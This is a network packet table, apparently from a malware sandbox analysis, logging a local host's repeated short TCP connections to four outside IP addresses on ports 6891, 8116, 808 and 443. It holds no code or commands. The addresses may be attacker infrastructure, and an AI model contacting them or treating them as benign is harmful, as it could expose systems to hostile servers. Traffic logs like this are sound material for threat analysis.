Oct 28, 2021 04:53:43.061286926 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:43.435950041 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:43.435993910 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:43.436207056 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:43.440119982 CEST	50124	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:43.557250977 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.608673096 CEST	6891	50124	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:43.611546040 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.611723900 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.613034964 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.655328035 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:43.655395985 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:43.666920900 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.666980028 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:43.667174101 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.667316914 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.668997049 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.672440052 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.672564983 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.676484108 CEST	50123	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:43.676522017 CEST	443	50123	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:43.726475954 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.727085114 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.800460100 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:43.910357952 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.910362959 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:43.910604000 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.914078951 CEST	50125	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:43.960501909 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:43.960614920 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:43.961473942 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:43.968022108 CEST	8116	50125	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:44.087924004 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.087977886 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.088120937 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.088876009 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.088903904 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.121493101 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.121623039 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.121692896 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.122237921 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.125570059 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.125663996 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.282506943 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.285788059 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.285810947 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.285840034 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.285911083 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.606486082 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.606628895 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.607289076 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.607300997 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.611290932 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.611310005 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.611406088 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:44.611418009 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:44.677195072 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.677222013 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.677264929 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.677294970 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.682857037 CEST	50126	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:44.814821005 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:44.843148947 CEST	808	50126	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:44.981725931 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:44.981868029 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:44.982470989 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.149557114 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.149580002 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.149694920 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.150640965 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.154113054 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.154220104 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.317032099 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:45.317123890 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:45.317281008 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:45.320610046 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.320647955 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.320736885 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.323360920 CEST	50127	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:45.323379993 CEST	443	50127	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:45.480065107 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.641004086 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.641258955 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.642663956 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.700473070 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.700526953 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.700608969 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.700659037 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.711622953 CEST	50128	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:45.803312063 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.803368092 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.803535938 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.804455996 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.811508894 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.811711073 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:45.828921080 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.878391027 CEST	6891	50128	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:45.883405924 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:45.883532047 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.884268999 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.938673973 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:45.938921928 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:45.939068079 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.940049887 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.947164059 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.947352886 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:45.965256929 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.972275019 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.972326040 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.972347021 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.972363949 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:45.972398043 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:46.001477957 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.002099991 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.039767981 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.175766945 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.175838947 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.176065922 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:46.189109087 CEST	50130	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:46.243078947 CEST	8116	50130	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:46.308731079 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.308777094 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.309026003 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.309868097 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.309883118 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.349590063 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:46.349643946 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:46.349726915 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:46.349795103 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:46.358355999 CEST	50129	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:46.519032955 CEST	808	50129	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:46.528424025 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.694008112 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:46.694287062 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.695766926 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.828777075 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.828877926 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.829929113 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.829940081 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.833865881 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.833875895 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.834036112 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:46.834047079 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:46.861136913 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:46.861171007 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:46.861368895 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.862363100 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.871030092 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:46.871170998 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:47.036294937 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.036315918 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.074172974 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.423527002 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.423576117 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.423832893 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:47.429960012 CEST	50132	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:47.541569948 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.543606043 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:47.543714046 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:47.543720961 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:47.543828011 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:47.549597979 CEST	50131	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:47.549638033 CEST	443	50131	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:47.595339060 CEST	6891	50132	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:47.595540047 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.595683098 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.596966028 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.650772095 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.650969982 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.651088953 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.651844978 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.665355921 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.665460110 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.719166040 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.719855070 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.728039980 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:47.765321970 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.892358065 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:47.892494917 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:47.893312931 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:47.904386997 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.904417038 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:47.904481888 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.904525042 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.908713102 CEST	50133	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:47.962426901 CEST	8116	50133	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:48.057553053 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.057687044 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.057825089 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.058466911 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.063844919 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.064049959 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.086981058 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.087038040 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.087166071 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.087949038 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.087970972 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.222778082 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.228188992 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.228231907 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.228260994 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.228302956 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.605154037 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.605443954 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.606545925 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.606570005 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.615555048 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.615595102 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.615690947 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:48.615731955 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:48.618861914 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.618891001 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.619029045 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.624802113 CEST	50134	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:48.751112938 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:48.789107084 CEST	808	50134	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:48.917349100 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:48.917586088 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:48.918386936 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.084721088 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.084789038 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.084959030 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.085614920 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.088736057 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.088815928 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.255060911 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.255090952 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.255101919 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.257354975 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.325413942 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:49.325515032 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:49.325673103 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:49.325705051 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:49.328783035 CEST	50135	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:49.328820944 CEST	443	50135	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:49.445544004 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.610644102 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.610811949 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.611660004 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.640165091 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.640191078 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.640537977 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.649460077 CEST	50136	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:49.765213013 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.776487112 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.776747942 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.776882887 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.777564049 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.781774998 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.781960964 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:49.815869093 CEST	6891	50136	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:49.826354980 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:49.826555967 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.827359915 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.888302088 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:49.888535976 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:49.888660908 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.889327049 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.893071890 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.893241882 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:49.942481995 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.946677923 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.946697950 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.946784019 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.946798086 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:49.954124928 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:49.954147100 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:50.137061119 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:50.137084007 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:50.137172937 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:50.137217045 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:50.144180059 CEST	50138	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:50.205204964 CEST	8116	50138	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:50.264754057 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.264827013 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.264966011 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.265714884 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.265744925 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.325767994 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:50.325799942 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:50.325968981 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:50.329344988 CEST	50137	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:50.494299889 CEST	808	50137	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:50.511244059 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.677788973 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:50.677913904 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.680246115 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.752803087 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.752938986 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.753809929 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.753839970 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.759840012 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.759872913 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.759998083 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:50.760016918 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:50.846580029 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:50.846729994 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:50.846858025 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.847496033 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.851586103 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:50.851710081 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:51.018069983 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.018094063 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.054148912 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.409781933 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.409804106 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.409986973 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:51.411169052 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:51.414362907 CEST	50140	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:51.444444895 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:51.444519997 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:51.444681883 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:51.444780111 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:51.456017971 CEST	50139	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:51.456059933 CEST	443	50139	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:51.530738115 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.575154066 CEST	50142	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:51.580960989 CEST	6891	50140	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:51.591105938 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.591285944 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.592564106 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.654287100 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.654306889 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.666222095 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.667428017 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.671940088 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.672058105 CEST	50141	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:51.731970072 CEST	8116	50141	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:51.732006073 CEST	8116	50141	185.56.219.47	192.168.2.5
